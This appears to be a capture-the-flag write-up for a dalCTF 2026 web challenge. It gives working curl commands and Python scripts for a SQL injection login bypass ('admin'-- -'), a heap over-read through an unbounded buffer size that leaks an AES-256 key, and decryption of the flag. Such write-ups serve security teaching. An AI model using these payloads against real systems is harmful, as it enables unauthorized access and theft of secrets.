Heart Part 7 - dalCTF 2026
Source: Dev.to

[](https://dev.to/exploitnotes)
Category: Web
Flag: dalctf{p1mp_p1mp_h00r4y}
Overview
A multi-stage web challenge themed around Kendrick Lamar’s m.A.A.d city / Kung Fu Kenny lore. The attack chain involved:
-
SQL injection to bypass authentication and get an admin JWT
-
Heap memory disclosure via an unbounded echo buffer to leak the AES-256 key
-
Fetching and decrypting the flag using the leaked key and a separate IV field in the API response
Step 1 - SQL Injection → Admin Session
The /login endpoint was vulnerable to classic SQL injection. Commenting out the password check with -- - bypassed authentication entirely and redirected to /admin with a valid JWT session cookie.
curl -X POST https:///login \
-d "username=admin'-- -&password=x"
Enter fullscreen mode
Exit fullscreen mode
Response:
HTTP/2 302
location: /admin
set-cookie: session=eyJhbGci...GRnU_ObEj_WaG6GQOE8Y-DMsD9qhVPDvfx9YfIcNn6Q
Enter fullscreen mode
Exit fullscreen mode
Decoded JWT payload:
{"username": "admin", "role": "admin"}
Enter fullscreen mode
Exit fullscreen mode
The JWT was signed with a static/weak secret and remained valid for the rest of the challenge.
Step 2 - Heap Memory Leak via Cipher Health Endpoint
The admin panel exposed a /cipher/health endpoint that echoed back a user-controlled buffer padded to size bytes. Sending 1 byte of input with a large size caused the server to fill the remainder with adjacent heap memory — leaking the AES-256 key.
curl -X POST https:///cipher/health \
-H "Content-Type: application/json" \
-b "session=" \
-d '{"data": "A", "size": 100}'
Enter fullscreen mode
Exit fullscreen mode
Response (echo field, base64-decoded):
A[63 null bytes]KENDRICK_MASTER_KEY=
Enter fullscreen mode
Exit fullscreen mode
Extracting the key:
curl -s -X POST https:///cipher/health \
-H "Content-Type: application/json" \
-b "session=" \
-d '{"data": "A", "size": 100}' | python3 -c "
import sys, json, base64
d = json.load(sys.stdin)
echo = base64.b64decode(d['echo'])
ki = echo.find(b'KENDRICK_MASTER_KEY=')
key_bytes = echo[ki+20:ki+52]
print('Key hex:', key_bytes.hex())
"
Enter fullscreen mode
Exit fullscreen mode
Leaked key:
9e1b8a5f8ed44e4711c0f4768c13f5a336bc4a6deeea307720a87b9fca44f02d
Enter fullscreen mode
Exit fullscreen mode
The variable name KENDRICK_MASTER_KEY and the service name MAadCipher are both nods to the Kendrick Lamar theme running throughout the challenge.
Step 3 - Fetching the Encrypted Flag
The /api/flag endpoint returned a JSON object. A key mistake early on was only extracting the ciphertext field — the iv was present as a separate field in the response.
curl -s https:///api/flag \
-b "session="
Enter fullscreen mode
Exit fullscreen mode
Full response:
{
"algorithm": "AES-256-CBC",
"ciphertext": "baCIJCXuBcIOJ23q0FS8GDaSN5/71aIqY156ju5Z6oc=",
"iv": "fcSvIZ1LMw72z34mvr0O5A==",
"sealed_by": "MAadCipher v1.0",
"status": "ok"
}
Enter fullscreen mode
Exit fullscreen mode
Rabbit hole: Treating the first 16 bytes of the ciphertext blob as the IV only decrypted the second AES block, yielding _h00r4y} — the tail of the flag. The correct IV was always in the "iv" field.
Step 4 - Decrypting the Flag
With the leaked key and the correct IV, standard AES-256-CBC decryption recovered the flag.
python3 - <<'EOF'
from base64 import b64decode
import subprocess
KEY = "9e1b8a5f8ed44e4711c0f4768c13f5a336bc4a6deeea307720a87b9fca44f02d"
iv = b64decode("fcSvIZ1LMw72z34mvr0O5A==")
ct = b64decode("baCIJCXuBcIOJ23q0FS8GDaSN5/71aIqY156ju5Z6oc=")
result = subprocess.run(
["openssl", "enc", "-d", "-aes-256-cbc",
"-K", KEY, "-iv", iv.hex(), "-nosalt"],
input=ct, capture_output=True
)
raw = result.stdout
pad = raw[-1]
print("FLAG:", raw[:-pad].decode())
EOF
Enter fullscreen mode
Exit fullscreen mode
Output:
FLAG: dalctf{p1mp_p1mp_h00r4y}
Enter fullscreen mode
Exit fullscreen mode
Attack Chain Summary
Login page
└─ SQL injection (admin'-- -)
└─ Admin JWT session
└─ /cipher/health heap leak
└─ KENDRICK_MASTER_KEY (AES-256 key)
└─ /api/flag → ciphertext + iv
└─ AES-256-CBC decrypt
└─ dalctf{p1mp_p1mp_h00r4y}
Enter fullscreen mode
Exit fullscreen mode
Key Takeaways
Always read the full API response. The IV was in the JSON the whole time - only extracting ciphertext caused the “missing block” rabbit hole.
Unbounded echo buffers leak heap memory. The size parameter had no upper bound, turning the health check into an arbitrary heap read (CWE-126 style out-of-bounds read).
Theme ≠ hint for the flag value. The Kendrick / M.A.A.D / PIMP theme was flavour - the actual flag required proper crypto, not guessing.